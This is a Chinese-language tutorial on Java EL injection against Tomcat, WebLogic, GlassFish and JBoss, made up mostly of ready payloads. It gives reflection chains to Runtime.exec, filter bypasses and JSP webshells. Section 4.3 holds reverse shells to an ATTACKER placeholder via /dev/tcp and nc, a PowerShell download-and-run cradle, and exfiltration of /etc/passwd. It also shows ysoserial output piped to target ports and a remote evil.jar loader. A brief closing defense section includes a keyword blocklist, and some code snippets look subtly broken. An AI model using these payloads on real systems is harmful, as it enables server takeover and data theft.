一、EL 表达式语言概述

EL(Expression Language)是 Java EE 规范中用于在 JSP/Facelets 页面中动态访问数据的语言。它语法简单,但在不安全配置下可以执行任意 Java 代码。

1.1 EL 的两种写法

<%-- JSP 页面中的 EL --%>
<!-- ${...} 形式 -->
<%= request.getParameter("name") %>
Hello, ${param.name}!

<!-- #{...} 形式(JSF/Facelets,延迟求值) -->
<h:outputText value="#{user.name}" />

<!-- 直接输出到页面 -->
${applicationScope['javax.servlet.context.tempdir']}

1.2 EL 执行引擎

import javax.el.*;

// Java 代码中手动使用 EL
ELProcessor processor = new ELProcessor();
ELManager manager = processor.getELManager();
manager.setExpressionFactory(ELProcessor.class.getClassLoader()
    .loadClass("javax.el.ELProcessor").getClassLoader());

// 执行 EL 表达式
Object result = processor.eval("1 + 2");           // 3
Object result2 = processor.eval("'hello'.toUpperCase()");  // "HELLO"

// 危险: 执行任意方法
processor.eval("Runtime.getRuntime().exec('whoami')");  // RCE!

二、Tomcat EL 注入

2.1 Tomcat 版本差异

Tomcat EL 实现版本:
  - Tomcat 6.0  → EL 1.0 (javax.el)
  - Tomcat 7.0  → EL 2.2 (javax.el)
  - Tomcat 8.0  → EL 3.0 (javax.el → javax.el API)
  - Tomcat 8.5  → EL 3.0
  - Tomcat 9.0  → Jakarta EL 3.0 (jakarta.el)
  - Tomcat 10.x → Jakarta EL 4.0+

关键 EL 版本差异:
  EL 2.x: 支持 .class 属性访问
  EL 3.0: 支持 Lambda 和更多特性
  更高版本: 可能有安全限制

2.2 经典 Payload(${...} 形式)

``
// 基本命令执行
${applicationScope['javax.servlet.context.tempdir'].toPath().toFile().delete()}

// 获取 Runtime
${applicationScope}
${applicationScope['']}
${applicationScope.getClass()}
${applicationScope.getClass().forName('java.lang.Runtime')}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime')}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)}
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

// 更简洁: 使用 param
${param}
${param.constructor}
${param.constructor.forName('java.lang.Runtime')}
${param.constructor.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``

2.3 Tomcat 7 ELProcessor 入口

// Tomcat 7 默认暴露 ELProcessor(某些配置)
// 入口类: org.apache.catalina.core.AprLifecycleListener
// 或者 JSP 中直接 eval

// 通过 JSP 执行 EL
<%@ page import="javax.el.*" %>
<%
    ELProcessor processor = new ELProcessor();
    processor.eval("Runtime.getRuntime().exec('whoami')");
%>

// 通过 JMX MBean 调用
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("*:type=WebModule,*");
// 找到相关 MBean 并调用表达式评估

// 通过 JSPX 表达式
<jsp:expression>
    Runtime.getRuntime().exec("whoami")
</jsp:expression>

2.4 JSP 直接调用 EL

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="javax.el.*" %>
<%@ page import="java.lang.reflect.*" %>

<!-- 方式 1: 直接 Runtime.exec -->
<% Runtime.getRuntime().exec("whoami"); %>

<!-- 方式 2: ELProcessor eval -->
<%
    ELProcessor elp = new ELProcessor();
    elp.eval("Runtime.getRuntime().exec('whoami')");
%>

<!-- 方式 3: applicationScope 反射 -->
${applicationScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

<!-- 方式 4: param 反射 -->
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

<!-- 方式 5: sessionScope -->
${sessionScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

<!-- 方式 6: requestScope -->
${requestScope.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

三、EL 注入绕过技巧

3.1 单双引号过滤

``
// 单引号被过滤 → 用双引号
${param.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("whoami")}

// 单双引号都被过滤 → 用 .class 和索引访问
${param[class]} // 不行,class 是关键字

// 用 getClass() 的返回值
${param.getClass().getPackage().getName()} // 间接访问

// 使用 charCode 数组构造字符串
${[119,104,111,97,109,105].stream().map(c->String.fromCharCode(c)).reduce((a,b)->a+b).get()}
// 需要 EL 3.0+ Lambda 支持
``

3.2 Runtime 类过滤绕过

``
// Runtime 类被过滤 → 用 ProcessBuilder
${param.getClass().forName('java.lang.ProcessBuilder').getConstructor(String[].class).newInstance(new Object[]{new String[]{"/bin/sh","-c","whoami"}}).start()}

// 或者 ClassLoader
${param.getClass().forName('java.net.URLClassLoader').getConstructor(URL[].class).newInstance(new Object[]{new URL[]{new URL('http://attacker.com/evil.jar')}})}

// 反射 Class.forName
${param.getClass().getSuperclass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

// 用 Method.invoke 直接获取
${param.getClass().forName('java.lang.Class').getMethod('forName', String.class).invoke(null, 'java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``

3.3 #{} vs ${} 形式

``
// 某些配置下 ${} 被转义,但 #{} 不会
#{param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}

// 某些场景下需要延迟求值才能触发
// JSF: #{...} 每次访问都求值
// JSP: ${...} 立即求值

// Tomcat 特殊 Payload(绕过某些过滤器)
${request.getClass().getClassLoader().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
``

四、实战利用链

4.1 通过 JSP 上传触发

``

  1. 找到文件上传功能
  2. 尝试上传 JSP 文件
  3. 如果扩展名被过滤,尝试双后缀 / 解析漏洞
  4. 上传包含 EL 注入的 JSP
  5. 访问上传后的 JSP 触发命令执行

// 最简 JSP WebShell
<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec(request.getParameter("c"));
%>

// 带输出回显
<%@ page import="java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line + "
");
%>
``

4.2 EL + 反序列化

``java
// EL 注入与反序列化结合(某些框架会自动 eval EL)
// 如果 ELProcessor 从反序列化数据中恢复表达式

// 反序列化入口触发 EL 执行
// 常见: Jackson + @JsonCreator 配合 EL 解析器
{"expression": "${Runtime.getRuntime().exec('whoami')}"}
// → 应用将 expression 字段传入 ELProcessor → RCE

// XStream + EL
// XStream 反序列化可以触发动态方法调用

Runtime.getRuntime().exec('whoami')

``

4.3 完整反弹 Shell Payload

``
// 方式 1: 直接反弹
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')}

// 方式 2: 使用 nc
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('nc -e /bin/bash ATTACKER 4444')}

// 方式 3: PowerShell
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -c IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")')}

// 方式 4: 外带数据
// DNS Tunnel
${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('nslookup $(cat /etc/passwd).attacker.com')}

// HTTP 外带
${param.getClass().forName('java.net.URL').getConstructor(String.class).newInstance('http://ATTACKER/?d='+param.getClass().forName('java.io.File').getConstructor(String.class).newInstance('/etc/passwd').toString()).openConnection()}
``

五、WebLogic / GlassFish EL

5.1 WebLogic EL

``
// WebLogic 10.3.6 - 12.x EL 注入(CVE-2015-4852)
// 反序列化 Payload

// Payload: 通过 CommonsCollections 触发 ELProcessor
// org.apache.commons.collections.functors.InvokerTransformer
// → Runtime.exec

// 方式 2: 直接 EL 表达式
// WebLogic 某些版本支持:
${applicationScope.SUN_JSP_TMPDIR} // 获取临时目录

// WebLogic T3 协议反序列化
// T3 协议暴露的 RMI 服务接受 Java 对象
// ysoserial CommonsCollections payload 可直接打
java -jar ysoserial.jar CommonsCollections5 'whoami' | nc target 7001
``

5.2 GlassFish / Payara EL

``
// GlassFish 反序列化漏洞 (CVE-2014-0415 系列)
// 利用链: ELProcessor + InvocationHandler

// Payload 核心:
// 构造一个 InvocationHandler,invoke 方法中调用 Runtime.exec
// 放入反序列化的对象图中
// 当对象被调用 compareTo() 等方法时触发

// Payload 结构:
// 1. PriorityQueue + 自定义 Comparator (InvocationHandler)
// 2. TreeMap + 自定义 Entry (InvocationHandler)
// 3. 任何可序列化对象 + readObject() 中触发 EL
``

5.3 JBoss EL 注入

``
// JBoss (WildFly) EL 注入
// JMX 暴露的表达式评估器

// JBoss 控制台 -> jconsole -> 连接 -> ExpressionEvaluator MBean
// invoke evaluateExpression 传入恶意 EL

// 常见入口:
http://target:8080/jmx-console/
http://target:9990/management

// JBoss Remoting 协议反序列化
// 同样可以用 ysoserial
java -jar ysoserial.jar CommonsCollections5 'whoami' | nc target 4447
``

六、防御

6.1 禁用 EL

``xml

*.jsp true

<%@ page isELIgnored="true" %>
``

6.2 限制 EL 能力

``java
// ELResolver 限制
CompositeELResolver resolver = new CompositeELResolver();
// 添加受限的 resolver,不暴露危险对象

// 使用 SecurityELResolver
// Apache Commons EL 提供了基于 JAAS 的安全解析器

// 自定义 ELContext 限制可访问属性
ELContext context = new ELContext() {
@Override
public ELResolver getELResolver() {
return new SafeELResolver(); // 只允许安全属性
}
// ...
};
``

6.3 输入验证

``java
// 白名单: 只允许简单属性访问
Pattern safePattern = Pattern.compile("^${[a-zA-Z0-9_.[]]+}$");
if (!safePattern.matcher(userInput).matches()) {
throw new SecurityException("Invalid EL expression");
}

// 黑名单: 过滤危险关键字
String[] blocked = {"Runtime", "exec", "ProcessBuilder", "Class.forName",
"javax.naming", "InitialContext", "java.lang.Class",
"getMethod", "invoke", "forName"};
for (String word : blocked) {
if (userInput.contains(word)) {
throw new SecurityException("Blocked: " + word);
}
}
``

七、总结

EL 注入的核心技巧:

  1. 获取 Runtime${param.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')}
  2. 找反射入口:param / applicationScope / sessionScope 等隐式对象的 .class
  3. 绕过过滤:ProcessBuilder 替代 Runtime、ClassLoader 替代 Class.forName
  4. 完整 RCE:Runtime.exec + /bin/sh -c + 反弹 shell
  5. 与反序列化结合:CommonsCollections + ELProcessor 组合利用链

EL vs SpEL vs OGNL 对比:

表达式语言 典型场景 RCE 入口 复杂度
EL JSP / Java EE ${param.getClass().forName(...)} 中等
SpEL Spring / Actuator T(java.lang.Runtime).getRuntime().exec(...) 简单
OGNL Struts2 #rt=@java.lang.Runtime@getRuntime() 简单
MVEL Drools / JBoss Runtime.getRuntime().exec(...) 简单
Groovy Jenkins / Gradle "whoami".execute() 最简单